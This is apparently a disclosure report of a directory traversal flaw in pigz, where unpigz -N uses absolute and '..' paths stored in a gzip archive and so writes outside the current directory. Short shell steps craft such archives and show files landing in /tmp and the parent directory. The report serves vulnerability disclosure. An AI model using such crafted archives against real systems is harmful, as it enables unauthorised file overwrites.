It was reported [1] that pigz is susceptible to directory traversal vulnerabilities. While decompressing a file with restoring file name, it (unlike gzip) will happily use absolute and relative paths taken from the input. This can be exploited by a malicious archive to write files outside the current directory.
Steps to reproduce:

1. Absolute path.

A sample could be prepared in following way:

  $ touch XtmpXabs
  $ gzip -c XtmpXabs | sed 's|XtmpXabs|/tmp/abs|g' > abs.gz
  $ rm XtmpXabs

Then check it works:

  $ ls /tmp/abs
  ls: cannot access /tmp/abs: No such file or directory
  $ unpigz -N abs.gz
  $ ls /tmp/abs
  /tmp/abs

2. Relative path with "..".

A sample could be prepared in following way:

  $ rm ../rel
  $ touch XXXrel
  $ gzip -c XXXrel | sed 's|XXXrel|../rel|g' > rel.gz
  $ rm XXXrel

Then check it works:

  $ ls ../rel
  ls: cannot access ../rel: No such file or directory
  $ unpigz -N rel.gz
  $ ls ../rel
  ../rel

No fix is available at this time.

[1]: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=774978